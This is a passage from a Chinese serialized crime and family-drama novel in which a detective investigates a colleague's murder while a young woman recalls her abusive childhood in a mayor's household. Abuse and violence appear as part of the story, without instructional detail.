小刘听到这个名字脸色一下子变了,局促地不知该如何回答。
“别紧张,有什么想说的,现在说,不打算说,就出去吧。”
小刘搓着手指,“江队对不起……”
江岩平静地看着她,等她的回答。
“李伯伯当初跟我说,他调离前一直负责周星耀的案子,即使离开了也想完成调查,所以私下里也一直在关注……”
“你都做了什么?”
“没,没,就是,就是,调查到任何有关周星耀的话,都及时跟他汇报一下……我当时想,这也是为了调查,就同意了……对不起江队,我知道这么做违反纪律,有任何处罚我都接受……”
“你回去,把你知道的李剑安的事情,都整理一下,还有你这两年报告给他的,都详细理出来,关于你有什么处罚,等这个案子结了再说。”
“明白了江队,我这就去做,先出去了。”
小刘刚出去,乔树就急匆匆进来了,险些撞到小刘,“抱歉。”
注意到小刘脸色不太好,乔树问道,“你不会发神经撒火到小刘身上了吧?”
“说什么呢,出什么事了这么急?”
看办公室门已经关上了,乔树这才从身后拿了件快递,递给江岩。
“这什么?”
“姜海蓝寄给我的。”
“姜海蓝?她寄给你什么?”
“秋原让她寄的,是一部手机,里面有一段拍下来的录像。”
江岩接过袋子,拿出来仔细看了很多遍,录像是从相机上录下来的。
“蒋仙儿的家?这是周星耀?”
两人都有些难以置信。
“拿去技术部,让他们确认一下,我需要这段录像能明确作为证据。”
“是。”
“对了,秋原最近在哪儿?”
“她已经从橘子酒吧离职了,而且也不在原来的房子住,她好像跟殷司源走得很近。”
“行我知道了。”
江岩约她见面时,秋原想了很久,鼓足了勇气才出门。
“你之前让姜海蓝给乔树寄的录像,是怎么回事?”
“你应该知道的,之前你们抓进去的偷窥犯,他跟踪蒋仙儿已经有段时间了,不知道你们放了没有。他在蒋仙儿对面的楼租了间房,偷拍她的起居,应该用的假名‘李政’,你们可能没查到。”
“所以周星耀出现在蒋仙儿家的阳台,正好被‘李政’的相机录了下来,那你是怎么拿到这段录像的?”
秋原神情黯淡,像是思绪跑了神。
“我之前,跟踪周星耀很长时间,后来发现,他有点注意蒋仙儿,而且,蒋仙儿有点像……有点像,江黎……”
话说到这儿,两人之间的气氛又降了个度。
“所以……我就多注意了下蒋仙儿,发现‘李政’这人也在跟踪她,还在她对面的楼租了房间,他被抓进去后,我偷偷去他房间拿了录像。”
“看不出来啊,你比我想象中更有能耐啊。”
他故作出微笑,看着格外勉强,像是硬生生从撕裂的伤口上开出的花,透着血色,连着白骨。
她愣了下,盯着他的笑失神。
“为什么现在才寄出来?”
“之前你出事,我没想到周星耀已经这么……当时我已经把录像的事告诉他了,所以只能把相机给他们了……”
她突然想到了康静山,心里针刺一样的痛。
“我知道了。”顿了一下,接着说:“对了,殷司源这几年他是混得不错,白手起家能在这儿混得出人头地,这人确实很有能耐,但这个人有点暴力倾向,有同事接到多起有关他的报警,虽然都私了了,你还是小心一点。”
秋原低头看了看自己的手,点了点头。
“还有,有关周星耀,康静山的事你都不要再查了,这些人都很危险,指不定会做出什么事来,你自己一定要小心。”
“好,我明白。”
秋原回去后,疲倦地靠在门上。
明明才二十几岁的人生,她却感觉整个人苍老得像七老八十的老太太。阳光突然失了色,照在她暗淡无光的生活里,丝毫没有温度。
“你去哪儿了?”
秋原被突然响起的声音吓到,这才注意到还有一个人在。
“去见什么人了?”
殷司源走近似乎闻了闻她身上的味道,皱起了眉,“男的?”
秋原疲倦地闭上了眼,靠着墙滑下去。她突然不想挣扎了,不想解释,不想努力了,是不是活得太认真了?生活才对她如此敷衍?
殷司源拦腰扶着她。
秋原都没有注意到自己的头靠在他胸口,片刻后抬手抓着他的外套,嘴角带笑轻声说道:“为什么,为什么周星耀那样的人,活得好好的?为什么,都是因为我啊……”
“不是你的错。”殷司源贴耳低声说,又重复了一遍,“不是你的错。”
可屋子里静悄悄的,原来这句话只存在于他心里,秋原等了好久等谁跟她说句话,始终都没有等到……
她抬起头看他,眼眶红肿,不甘心?疲倦?愤怒?她有太多的情绪无处表达。
“你恨我吧?你恨我吗?是我偷了殷瑞生的账目给了记者,是我害他入狱,是我让你没了家什么都没了,你恨我吧?”
阳光静悄悄地,空气也沉寂下来,只有那心跳声,似乎证明着还活着的两个人。
多年前,两人的相识本就不愉快。
那时候殷司源的亲生母亲刚走不久,殷瑞生当选市长,市里连续发生多起儿童遗弃的案子,悬而未决,为稳定民心做出表率,殷瑞生收养了孤儿院的秋原。
当时还举办了一场“盛大”的记者招待会,瘦弱的殷司源被不情愿地套上白衬衫,一路跟在殷瑞生身后,而秋原则像一个收入囊中的展品,闪光灯下的她瘦弱干瘪,环视四周的眼神里充满了恐惧和无助。不过在对外公布的资料中,她的样貌都进行了模糊处理,但即使公布出来,又有人会注意到她的眼神吗,她只是套在这个“身份”下的提线木偶,她真正是谁,一点都不重要。
当时秋原根本没有注意到安静的殷司源,她的手从不认识的院长手心里交到殷瑞生手心里,粗糙,厚重,一点温暖也没有。
整个局面就像是一场闹剧,秋原就差关在笼子里表演杂技了,殷瑞
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生只简单地表达了自己建设本市关爱市民的理念,倒是院长喋喋不休地感谢歌功颂德了一大堆。
这场圆满的“闹剧”本该完满画上句号,唯一的起伏就是秋原下台时,被人绊了一脚,狼狈地从台下滚了下去。
跌在地上的秋原回头注意到躲闪在黑西装后的殷司源,只有他在笑。
殷瑞生当众发火倒是不可能,回家后一顿打是免不了的。
从未坐过的轿车,干净的街道,差一点秋原真以为自己的“好日子”要来了,殷司源同她坐在一起,安静得像个乖孩子。
独栋别墅,专门的厨师,来来去去打扫的阿姨们,一大桌美味佳肴,在秋原眼里这一切都假的不能再假,做梦一般不敢相信,她还没来得及伸手,眼前的虚幻就化为了泡影。
离开了殷瑞生的殷司源,恢复了本质,从那一跤开始,被殷司源整的日子就此开始了。以至于听到他的名字他的声音,见到他的脸,她都会忍不住害怕。
只因为她是殷瑞生的“功绩”,他便把她视为眼中钉。
秋原从来都不知道在此之前的殷司源是什么样子,但从此之后,她脑中都将刻上他恐怖的标签。
殷瑞生事务繁忙,回也不一定回这个家,所以平日里这栋别墅就是殷司源的地盘,保姆管家谁都不敢惹他,除了殷瑞生,谁也治不了他。
而秋原的突然闯入,无疑成为了他玩弄的目标。
吃饭得看他心情,心情好了可以上饭桌,不好了要么吃他吃剩的,要么一口都吃不到。走廊拐角门口处处得小心,永远也猜不到他又准备了什么,死老鼠死小猫死虫子,胶水钉子层出不穷,甚至拆解玩具组装出来暗器,飞镖塑料子弹还有不知他从哪里搞来的不知名液体。
因为在学校格外捣蛋,不仅严重影响上课,甚至伤了多名同学,殷瑞生上任后不久他就不去学校了,然而家教的老师换了一个又一个,无一不是伤痕累累身心俱疲地离开。
后来请了新的老师,秋原跟着殷司源一起上课。年级大看着满是书生气的数学老师,殷司源嚼着泡泡糖放着音乐装模作样地坐在书桌前,没出十分钟屁股就离开了凳子。
他什么都好奇,唯独对老师的话充耳不闻。
经常是一堂课上着上着,就剩下秋原和老师两人了。
数学老师带着眼镜,时不时瞥向秋原,讲解题目时更是坐在旁边贴着她一字一句慢悠悠地“言传身教”。
他的手不经意地抚过她的手臂,她的肩膀,秋原不自然地躲闪,后来不仅殷司源不好好上课,秋原也格外抵触。
这天上课,趁殷司源不在,数学老师更是搂她的腰,摸她的大腿。
那是他最后一课。
殷司源弄瞎了他一只眼,还烧伤他两只手。
晚上殷瑞生照例一顿打,好像只要他回来,殷司源就免不了挨打,皮带,铁棍,什么都用过,然后被扔到楼顶的阁楼关禁闭,似乎已经是家常便饭。
那晚殷瑞生可能遇到不顺心的事,足足打了他半个小时,一下不停,嘴里骂着这个兔崽子,管家和秘书在一旁一言不发,挨打的殷司源不跑不逃不求饶,更是一声不吭,只有殷瑞生的怒骂,诺大的房子里一次次宣判着他的死刑。
秋原躲在楼梯上,捂着嘴不敢发出任何声音,每打一下她都跟着浑身颤抖一下。
这儿不是一个家,只是一栋房子,甚至是处牢笼,住着的都是冷酷的人,堪比炼狱。
55.飞鸟之歌 05
秋原来这个家大半年后,殷瑞生名义上的妻子换了人。秋原还从来没有见到过那样的眼神,邪恶,仇恨,大概殷司源心里的恨意无限大,只在那一刻有了具象。
在他意识到她成为殷瑞生的女人后,脸色立刻变了。
女人似知晓殷瑞生对他的态度,莞尔笑着更像是挑衅。
一旁的秋原看着对峙的两人,突然觉得女人像是毒蛇,艳丽魅惑的外表下包裹着狠毒的心。
一顿家庭晚饭在诡异的气氛中结束,秋原唯一庆幸的是殷司源虽冷着脸但并未做什么出格的事,殷瑞生看着心情不错也没跟他儿子一般计较。
秋原从保姆们那里偷偷听来闲话,殷瑞生仗着自己的外表和花言巧语,以及多年混迹社会的丰富阅历,追求到了当地富商之女吴水心,也就是殷司源的母亲。
两人婚后吴家给殷瑞生生意上很大的帮助,一手促成了殷瑞生的商业版图,然而他的野心并未停止,他开始涉足政界。
那时候吴水心才意识到吴父说的话,这是个很有野心的人。但爱情能教人多盲目,能将他做的所有事合理化。
殷瑞生凭借雄厚的财力以及人脉,在政界走得顺风顺水,他当选市长的那天,吴水心去学校接上殷司源去见他,母子俩街对面招了招手,等待过马路时一辆摩托车上的两人抢走了手提包,人被意外拖到马路上,被车撞倒。
而这一幕被对面的儿子全程目睹。
殷司源冲过来握紧她的手一遍遍叫妈,那时她还在惦记着殷瑞生……
送到手术室时她失血过多已经昏迷,殷司源满手满身鲜血等在手术室外,他打电话给殷瑞生让他赶紧过来,而他以事务繁忙为由拒绝,拒绝了……
盖着白布的母亲从手术室推出来时,殷司源成了孤儿,他同时失去了母亲,以及父亲……
吴水心死后,殷瑞生也不再遮掩,准确来说,是面具不必再戴着。
吴水心在世时他不是没打过殷司源,第一次动手后殷司源告诉了吴水心,吴水心格外伤心,那是他们第一次也是唯一一次争吵,她哭了好久,但殷瑞生哄她说是无意的,男孩子挨挨打也没什么。
那一幕,殷司源在门口偷看到,当时还年幼的他,在心里留下一个深刻的认识就是这种事告诉母亲会让她伤心,所以从那之后每次挨打都谎称是跟人打架了,这个家就在这样蒙着纱的虚假和谐下平稳度过了那些年……
吃过饭殷司源就早早上楼回房,而女人则挑衅一般带着殷瑞生来他房里看他,参观每一间房子,还夸赞殷司源长得俊俏,很像他父亲。
秋原她自然是没放在眼里,口渴了甚至吩咐她去楼下拿水。
在吴水心生前住的房间里,秋原递给她瓶装水,而女人则故作娇弱把水掉在了地上,水洒了一地,女人娇嗔地向殷瑞生道歉,他只吩咐人来打扫一下。
只在门外看着背影都能感觉到殷司源要炸了,秋原只想悄无声息地躲在自己房间,可女人偏不放她回去。
等他们二人手挽手下了楼,殷司源一拳头打在了门上,秋原吓了一跳,他已完全失去了理智,像是破笼而出的猛兽,眼前的秋原自然是到手的猎物。
他把殷瑞生曾对他做的,都完整不落地复制在了秋原身上,她以为自己会被打死,后来,管家请来了家里的医生。
她奄奄一息看着模糊晃动的人影,是哦,她不能死,她是殷瑞生的门面,她还有有用……
那些年秋原从来没理解过他,只觉得他蛮横暴躁,所以把他所有的行为都视为暴行,不分善恶,而重逢后这段日子的相处,她才逐渐感觉到他是个无比矛盾的人。
她没见过吴水心,连照片也没有,但可以确认的是定是个美丽温柔,内心无比善良的人,她给了殷司源无限的爱和关怀,让他对爱充满了憧憬和向往,而殷瑞生的存在则一次次挑衅着他的信念和认知,他们是血肉相连的至亲,却比仇人还憎恨彼此。
殷瑞生入狱后,他才意识到他对自己的恨意从哪里来,他根本不爱自己的母亲,从不。
不知道为什么,秋原最近总是想起以前的事,一幕幕像是画卷一般在头脑中重演,而她是无声的看客,痛与伤似乎都与她无关,弹指间即可一笔勾销,但她忘不了也难以介怀,一闭眼那些事就蜂拥而至,蚀得她昼夜难安。
在殷家的事很简单,面对的人也简单,朝夕相处的人也只有殷司源,那个她名义上的哥哥。除非她犯错,殷瑞生是不跟她一般计较。
有一条是殷瑞生绝不能容忍有人在他谈事情时打扰,而有次秋原下楼到半截才意识到有人在客厅,往回返时不小心摔了一跤,趴在楼梯上发出声响。
就在秋原不知道该怎么办时,殷司源没天没地地哐哐当当跑下来。
结果就是两人都被关在了阁楼。
那晚秋原发高烧,阁楼全是杂货,没有床没有被褥也没有衣物,她便蜷缩在地板上迷糊着了。
她隐约记得殷司源唤她,“思林!思林!”
对哦,那时候她名唤殷思林。
殷司源重重地拍门大喊,“喂有人吗!思林发烧了!喂有人吗!来人啊!”
那一幕她始终忍不住怀疑真假,究竟是那铁石心肠的人大发善心,还是她烧坏了脑子出现幻觉。
殷司源扯下厚重的窗帘,把她裹得严严实实,粗糙的帘子都被她暖热了,她唯一不记得是他整晚都抱着她。
这样冷酷的人也会抑郁,那只能是吴水心离开的那天,殷瑞生不许他去看望吴水心,他只能凌晨出门,在天亮前溜回来。
保姆阿姨唤他们吃早饭,秋原出了卧室阿姨还没能把殷司源叫醒。
“阿姨今天算了,让他睡吧。”
她知道他早就醒了,根本没睡。
下楼才发现殷瑞生回来了。
“您怎么回来了?我这就加上碗筷,您快坐。”阿姨小跑着去了厨房。
“司源呢?”
“他不太舒服,还在房间。”
“不舒服?不吃早饭身体怎么可能好,叫他下来。”
面对殷瑞生说那一句话已经是她的极限,现下只能上楼。
轻轻推门进去,殷司源整个人裹在被子里。
“他回来了,起来去吃饭吧。”
没反应。
“我知道你难受,但惹他生气又是挨打,你就下去吃两口再回来。”
楼下阿姨的声音传来,“思林,快,就等你们了!”
“你再不起,我就抽走你被子了啊!”
秋原可不想看到殷瑞生发火,抓起被子角拉了过来。
殷司源缩成一团,背对着她,他没穿上衣,背上是触目惊心的伤疤,颜色深的浅的,新伤旧伤扭曲交叠在他的背上,像是永远无法摆脱的枷锁,这辈子都桎梏着他。
她愣了一下,转眼就把那些柔弱的感情摒弃掉,上前拉他的胳膊,“我知道你醒着,他在楼下等着呢,下去一趟再回……”
话没有说完,他顺从地起身,眼眶通红,这还是她第一次见他哭。
她不会安慰人这种事,一时间不知说什么好。
“别哭了,哭了就不好看了……”
真是拙劣的话。
女人怀孕了,殷瑞生安排了许多人围在她身边照顾起居,鲜少回这里的别墅。
不知有心还是无意,女人来得那天是吴水心的忌日,她走已经三年了。
女人挺着肚子在屋里招摇,管家保姆一个个绕着她转,等生下孩子,她就能彻底取代吴水心的位置。
“你知道你妈妈多讨人厌吗?上大学的时候寝室里的人全都跟她好,我喜欢的男生也喜欢她,她漂亮,善良,又有屁用呢?老公不还是归我了?早早死掉也是可怜。”
没有人知道她们曾是同学。
殷司源这才得知,她每次来这里都针锋相对的缘由。
“你闭嘴!她一个字你都别说,你不配!”
“呵呵,
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贱人的儿子也这么嚣张,没关系,瑞生也不待见你,你们母子俩,也是可笑,他谁也不待见,不过是利用罢了,也不瞅瞅自己几斤几两,还真以为自己有多尊贵。”
殷司源握着拳头,视线微低。
那天发生很多事,女人从楼梯上摔下来,孩子没了,殷司源被打至医院抢救,一“家”两人都进了医院。
秋原还从不相信一个父亲会对自己孩子做这么狠毒的事,他下手有多狠,秋原躲在楼上都能听到惨叫声,血吐了一地,整个人看不出模样了。
他该有多痛,像是锁魂的怨鬼,惨叫声萦绕不止。
殷司源在重症监护室待了一周,出来后依旧昏迷不醒。秋原坐在地上靠着墙,病床边的仪器发出稳定的声响,她望向病床的方向,视线没有焦点,一天又一天。
病房空荡荡的,一束鲜花也没有,除了冰冷的医疗器械,只有床上躺着的“尚未死去”的躯体。没有人来看他,看他醒过来没有,看他伤势有没有好转,没有人……
秋原突然从他身上看到了自己影子,同样的可怜和可悲。
终于她走到病床边,一只手抓着他缠着绷带的手,另只手伸向他的氧气罩,她拿下来的那一刻似乎感觉到他的手在用力,躺在病床的躯体剧烈地抽搐。
一,二,三,四……
心里默数到第四下时她还是给他戴回了氧气罩……
至少不是她……
至少不该是她决定他的死活……
她讨厌他,也恨他,可她拿生命无可奈何。
殷司源醒来的第一眼,就看了秋原。
她也是无聊,在病房看护了他这么久,趴在床边细细观察躺着的人。
他嘴角的伤还没好,嘴唇动了一下没说出话来。
“你醒啦?我去叫医生。”
他伸手没来得及碰到她,她已经冲了出去。
医生给他检查了一番,确认没什么大问题了。
他的视线一直往远处的秋原身上瞟,眼前的医生说什么也没有听进去。睁眼看到她的那一刻,他突然有种久别重逢的欣喜,至少不是空洞的天花板。
那是母亲走后他唯一一次感到庆幸,活着的庆幸。
秋原照顾殷司源直到出院,再也没见过那女人了。
他们依旧打打闹闹,殷司源整人的毛病一点没改,他可以去学校上学了,但这样的生活似乎也算是相对平静,直到一个女人找上她,跟她说了殷瑞生这么些年做过的事。
她需要她找出证据。
在殷家,她即使刻意不去在意,也都能猜到殷瑞生做的事,从学校医院公用设施的建设项目中收取回扣,置许多人的生命于不顾,涉足灰色产业,甚至包庇一些不正当交易。
女人说她的孩子在学校的一场火灾中丧生,就是因为救火设施的不完备。
她信了,她真的信了,她翻阅报纸找到了当年的新闻,幼儿园火灾死掉了一共六个孩子。
所以当她把偷来的账目交到她手上时,至少她是问心无愧的。
但那时她才知道,女人根本没什么孩子,她不过是想利用她挖到一些爆炸性新闻点以求升职,根本没抱什么希望。
女人说出本意时的面孔,以及后来殷瑞生被警察带走时的情景,甚至是殷司源望向她满脸的不可思议,都刻印在她脑中,成为又一道难以丢弃的枷锁。
截至那时,都是她以殷思林的名义所过活的日子,她逃跑了,远远地丢下了伤痛和自责,她甩开了殷司源的人,利用一个看起来有背景的男人,逃上了火车。
没想到的是,十个多年,她又回到了一开始的地方,而插曲一般的那些年,也似乎从没能舍弃掉……
侧躺在床上望着窗户的方向,那些事在她脑海中不断冲撞,而现实中什么声音都没有,静悄悄的,转动下眼珠似乎都有了声响,她注意到胳膊上蓝绿色的血管,终于还是挣扎着起身,她还有要做的事,她还不能走上无归路。
56.飞鸟之歌 06
冬意正浓,张队去世的消息席卷了本市,一位多次荣获表彰为本市安定做出重大贡献的警察,工作过度死在了回家的路上。
江岩冲进高副局长办公室。
“你先出去吧。”
“是。”
等那人关上门,江岩大步走到他办公桌前,双手撑在桌面上,“你明知道他是被人害死的,还是有预谋的!”
高副局眉头紧皱,沉重的嗓音闷声说道:“这是局里统一的决定,张队个人影响力大,传出谋杀的消息会影响市里稳定,更何况凶手还一点眉目都没有。”
“市里的稳定?还是你也成了他们的人?”
“江岩!”高副局锤了下桌子,吼道,“你小子不知天高地厚,知道自己说什么呢吗!”
“你比我清楚。”说完转身走了。
“你!”
高副局气急一阵猛咳,拳头不自然地攥紧了。
江岩是他一手带起来的,他最清楚他的脾气,可眼下最不能意气用事的也是他,要不然真的着了坏人的道。
当初不该让张队牵扯进这件案子……
他闭上眼,这句话在他脑海中翻滚,撞得他脑袋疼。
张队的葬礼上,女人哭得像个泪人一样,由家人搀扶着,孩子似乎还不能理解眼前的发生的,懵懂地注视着神情严肃的大人们。
江岩在很远的地方看着,他不敢走近,不敢面对他的妻儿。
心里那根刺愈发生疼,他眼前晃过江黎死去的那个夏天,沉闷的空气要把人憋死,那根刺从那时起就开始生长,相似的感觉,刺得他痛不欲生,真是太糟了,但想起张队死前所受的,他希望心里的痛再深些。
好在有人拍了下他的肩膀,他不自然地深吸了几口气,侧目看到是乔树。
“江队,你没事吧?”
他艰难地摇摇头。
两人在酒馆喝酒,准确说是乔树看着江岩喝。
一开始他一句话都不说,直到有些醉了,他才碎碎念说道,“尸检报告都没敢拿给嫂子看,怕她受不了,只说他走得没有痛苦,全他妈狗屁!都看不出人样了……那是一帮畜生啊,让他脑子清醒着,什么招都用上了,直到断最后一口气……”
乔树静静地看着他,他的声音哽咽,那是第一次见他哭吧,哭着擦着眼泪,醉得一塌糊涂,就是撑着脑袋不肯低下头。
“那些,都是,都是我该受的,他们都是来找我的,混蛋……”
“你醉了。”
“不,我没醉,一点都没醉,我很清醒,那个混蛋……”
大学校园东北侧坐落着格外静谧的研究生院群楼,江岩站在一棵叶子已变黄飘零的树下,指间的烟已抽得差不多了,他的衣服没有换,整个人看起来有些颓废。
一阵急促的小跑听声音是一个女生的步伐,果然,声音停在了身后。
“对不起啊,终于把导师的事办好了,等久了吧。”说话间,江岩转身。
那一瞬间,女生从他肩膀上取下一片落叶,她的脸映入他眼中,眉眼弯弯,笑得格外温柔。
“没有,刚来。”
柯璃月看了眼他手上快燃尽的烟头,没再说什么。
他许久不抽烟了。
两人肩并肩在校园的小道上散步,此时秋意正浓,散步的情侣不少,说说笑笑。
“我听说张队长的事情了。”她感觉到他微微一怔。
她迈了一步站在他面前挡住去路,“江岩,不是你的错。”
他苦笑一声,不再说话。
“我想,张队长一定知道他从事这个职业的危险,你也知道,这样的意外没人想……”
“月儿,”他一声轻唤打断了她的话,“我来是跟你说,我们分手吧。”
柯璃月全身抖了一下,就这么看着眼前她深爱的人,她想嫁的人,想共度余生人。
她想到了,早就想到了。
“我导师前几天还跟我说,要不要认识下他朋友的孩子,说是刚留学回来,人还不错,唯一的缺点的就是没你这么高,”她说着笑了,“他还说改天见个面吃顿饭,我过几天正好空了,对了有部电影快上映了,我很想看的……”
柯璃月一时间说了好多,江岩就静静地看着她,听她的声音,记住她的脸,她局促的笑容,以及蹩脚的谎话。
“我说这么多,就是想跟你说好啊。”她慢慢冷静下来,注视着他的眼睛,“你说我们分手吧,我同意了。”顿了会儿,她接着说:“我们还可以做朋友吧,有事可以来找我啊,别一个人硬撑。”
江岩看着她离开的背影,心底萌生出冲上去拦住她的冲动,但转眼就被自己的理智打消了。
她是在哭吧,他把她弄哭了……
张队凌晨离开局里,回家的路上去了一趟二十四小时便利店,离开后就再没有监控拍到他的行踪,直到有人报案,在晨练的小路上发现躺着整整齐齐满是血迹的人。
江岩从便利店出来,喝了一大口水,据收银员的描述,并未发现那晚张队有任何异常。他望向他接下来去的方向,细细思索着。张队没有开车,一路走回家,从便利店到他家的距离至少有五公里,而没有任何监控拍到他,说明他离开便利店后不久,就出事了。
他想起收银员说,结账时张队在看手机,钱没有拿完就准备走了。
后半夜的时间,他还在查案子?
张队身上财物其它都没有丢失,唯独手机没有找到。按照张队的习惯,他是不会在手机里存放有关案子的东西,那又是谁那个时候联系他了。
跟张队手下的人问了几轮,还是一无所获。张队是个热心负责的人,做事稳妥,在高副局眼里不知比江岩省心多少,人虽然看着高大威猛实际经常笑哈哈的,局里除了江岩,没有人不说张队的好。
高副局把陈年旧案交给他的时候也是冲着他的性子,也许也有考虑江岩在这个旧案中陷得有些深了。
仇家应该不至于,江岩不知为何,隐隐认定就是周星耀的作为。他摇了摇头,靠在椅背上望着天花板,现在连张队的案子也难以客观分析了么,想到这儿,他的头嗡嗡作痛,拿上外套离开了办公室。
想着父母已经准备入睡了,他动作很轻,没想到两老人一本正经地坐在沙发上,像是早知道他要回来就等着收网呢。
“爸,妈,你们还没睡?”
江母起身走过来,接过他的外套,“吃过饭没,还有饭呢妈给你热热。”
“不用我吃过了。”
江岩换了鞋,看母亲还站在面前,一副欲言又止的模样。
“妈,怎么了?”
“我,我今天打算做些饭菜叫上你和月儿一起回来吃饭,我给她打了电话才知道,你们已经分开了。”
“嗯,前几天的事了。”
江岩和江父很少静坐在一起谈谈心,尤其是江黎离开后。
“工作怎么样?”<
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“老样子。”
“张队长家里人怎么样?他女儿三岁还是四岁了。”
“三岁半。”
江父沉默了一会儿,若有若无地叹了口气,“小黎已经走了这些年了,你也不必再揪着过去那些事了。”
江岩微微低头,脸上什么表情都没有,“因为姜雪峰自杀了么,因为张队殉职了么。”
“不管姜雪峰活着还是怎样,小黎都已经走了,当年的事,不是你的错,我希望你能过好你的生活。”江父一字一句说得很慢,江岩听得真切。
多年前,江黎放学的时间下起了大雨,江母要去看望江父,让江岩去接妹妹,而他没去,江家就此发生了翻天覆地的变化。
“当初我陪你们的时间太少了,是我这个做父亲的不合格,你和小黎都是好孩子,小黎也很坚强,出事后也很坚强,是我没有保护好小黎,没有保护好你们。”
“她都自杀了还坚强,你能不这么虚伪吗?”话还没说完江岩就后悔了,他眼睁睁看着父亲脸上神情的变化,心底一阵刺痛。
他想解释什么,一时间语塞又不知从何说起,那一瞬间他突然愣住了,脑海中一闪而过的想法,他怎么就确定江黎是自杀?
警察确认了医院监控,加上江黎的现状,草草定了自杀结案,江家沉浸在巨大的痛苦中,没有人对这个说法提出异议。
但现如今从一个警察的角度去考虑,实际上正如江父所说,江黎是个无比坚强的人,甚至比他都要强,又怎会轻易自杀呢。
想到自己如此懦弱的表现,甚至顶撞,伤害父亲,他不由得深深自责。
“爸,对不起……”
江父摸了摸他的头,眼神中满是慈爱,拍了拍他的后背,“好孩子,你们都是好孩子。”
这么多年,早已磨平了江父的棱角,他出生不凡,人品和志向均无可挑剔,一路走得顺风顺水,考学工作娶妻哪一步都走得无不令人眼红。
那时候他刚升任区总,去国外总部参加战略会议,回国的那晚妻子专程来接他,那天是他们的结婚纪念日。本想着回家抱抱好久不见的儿女,他带了好些礼物,甚至想到了他们的笑容,那应该是他最幸福的时刻了吧,妻子在身旁,家中一双儿女在等着。
以至于他怀疑是上天给他的惩罚,惩罚他这么多年太过顺当,满是自信地笑望远方,现实让他跌了个巨大跟头,摔得惨不忍睹,令他怀疑过往的三十年岁月,一遍遍质疑自己。
好在妻子陪他一起度过了最难的时候,他们还拥有着彼此,还有江岩,看着儿子一步步长大,读警校,他不是没想到儿子的心思,但他逼自己不去想,他不愿儿子囚困于小黎的死,却同样无法接受呈现的事实。
他成功了一辈子,在谁看来都是人生赢家,但他清楚,作为一个父亲,他完成得无比失败,既保护不了聪慧可爱的女儿,也没有引导儿子走出心魔。而儿子依旧为了妹妹奔走在一线,自己却怯懦地想让他收手,想来自己这个父亲,还没有儿子这般成器。
江岩去洗漱,江母听闻动静从卧房出来,坐在江父旁边,“怎么说?江岩同意了吗?”
江父长叹一口气,抓着江母的手说:“他是成年人了,有他自己的判断,我们相信他就好。”
“可张队长刚……”
江父打断了她的话,“他是哥哥,也是警察,即使不为江黎,也为其他像江黎这样的女孩子。”
江母蓦然。
57.蓄意自杀 01
秋原已经没钱交房租了,接连几天找工作未果,她不在出租房的期间,房东把她的东西扔了出去,房子也很快转租给其他人。她去找那些东西,都堆在拥挤肮脏的楼道里,明明都是陪她了好久的东西,但这么看着倒更像是垃圾。
她蹲在那里待了半天,最后什么都没有带走,一一看下来,她什么都不需要,连个自己的窝都没有了,人也没有了底气,想着回到殷司源那里后她得收敛些,但可笑得是,寄人篱下看人脸色是她最擅长不过了。
回去的路上会路过超市,分神中的她走着走着撞到了一个人,习惯性地低头说抱歉,谁知那人倒是认识秋原。
“是你啊?”
秋原看他三四十岁的年纪,中年发胖的身材,看着他宽胖的脸不知为何心生惧意,明明是不认识的陌生面孔。
“就是你个贱人,害得老子进局子了!”说着作势要扑过来。
秋原突然联想起来,这人是上次在出超市的路上遇到的施暴者,那件事事后也不知怎么处理了。看他身后见状要拦着他的女人,她竟觉得面熟,仔细一想才知道这女人就是那天挨打的受害者。
“哎你别,这么多人呢。”
女人的话怕是从来入不了男人耳,倒是他们二人身后还有个老妇人开口了,“原来就是你个不要脸的害我儿子受罪,一看不是什么好货色。”
秋原自知遇上无赖,绕过他们即要离去,那男人上次被抹了颜面,这次这一面可是正中他下怀。
“老子教育女人也要你个贱人来管。”说着出手拦住她。
“放开!”
“哟,还挺横,怪不得强出头,老子今天就好好教训教训你,让你再坏老子事。”
男人单手抓着她的手腕另只手就扇了过来,女人叽叽喳喳地哀求他住手,老妇人倒是上手牵制着秋原,还一边大喊:“让你个贱人坏我儿子事,真是不要脸,也不知道谁家的骚货出来丢人现眼。”
不明所以的吃瓜群众纷纷围观,观赏一出“暴打勾引男人贱货”的戏码。
“你个老东西胡说八道什么呢!”
老妇人倒是会煽风点火,借着秋原这话揭竿而上坐实了她的污名,“贱人真不要脸,破坏别人家庭还有理了?你妈怎么教得你,就知道祸害别人?”
男人出手力道大,加上老妇人耍泼牵制着她,秋原一时间狼狈不堪,周围骂声四起,当然是针对她着破坏别人家庭的“贱人”,甚至还有人鼓吹男人狠揍她出气。
她被按在地上打,拳打脚踢,没忍住吐了口血,恍惚中她看到了那天陪在女人身旁的小女孩,踉踉跄跄地走过来拽了拽男人的衣服,但被男人一个大力带到在地,女人惊呼一声,扑向孩子,抱起她躲在了人群中。
秋原望向女人消失在人群中的方向,但实际上她看不清,眼镜被打在地上踩碎成渣,她成了众人口中的贱人,所以没有人报警,没有人制止。
后来人群散了,男人老妇人溜了,女人和小女孩也早不见了踪影,她躺在冰冷的地上,风吹得有些冷,她想起女人和女孩,突然感觉格外这冷意,刺骨的寒。
夹杂在风中的,是她难以抑制的啜泣声,冬日里比寒风更冷的,是人心。
她几乎摸瞎跌跌撞撞回到了殷司源住的地方,灯未开,她摸不到开关一时伫在门口,突然从沙发处冒出一句“你要走?”
没等她回答,他接着说:“你打算做什么?我可知道你现在连房租都付不起了。”
好在没开灯室内昏暗,看不见她的样子,她站着不动,稳了稳呼吸,只是没想到他早就了解自己目前的境地。
“继续在酒吧当服务员?你一个女生要是没有背景早就被吞了,你那么傲的一个人还会做什么?现在连大学生找工作都那么难,你学没上过,身份证都是假的,还能做什么?”
竟然从他嘴里听到自己是个傲气的人,秋原脸色一阵难看,身上挨打的地方也痛了几分,但他说的每一句都是真的,她什么也不会,连名字都是别人的,是被人骂的“贱人”。
她低下头,不言不语。
“所以别动想走的小心思了,一天天净是找你。”说完他合上了双眼,室内回复了寂静。
零点燃起了烟花,秋原突然惊醒,阳历新年吗,这才意识到又是一年一月一。她发现自己靠在沙发边上睡着了,回头果然殷司源还在睡着。
她靠着沙发边,坐在地上,抱着双膝,从这个视角看不到烟花,她还是虔诚地望着窗外,像是在欣赏一场盛大的烟花表演。
殷司源慢慢睁开双眼,静静看着近在咫尺的秋原,她的背影自己格外熟悉,即使是一头炸毛,也是那颗圆溜溜的小脑袋,本伸出的手,停在半空中,他怕她受惊离开。
“思林?”
“嗯?”
他没想到她随即便应了,她也没想到听到那声呼唤就答了。
“你跟我回溪汀吗?”
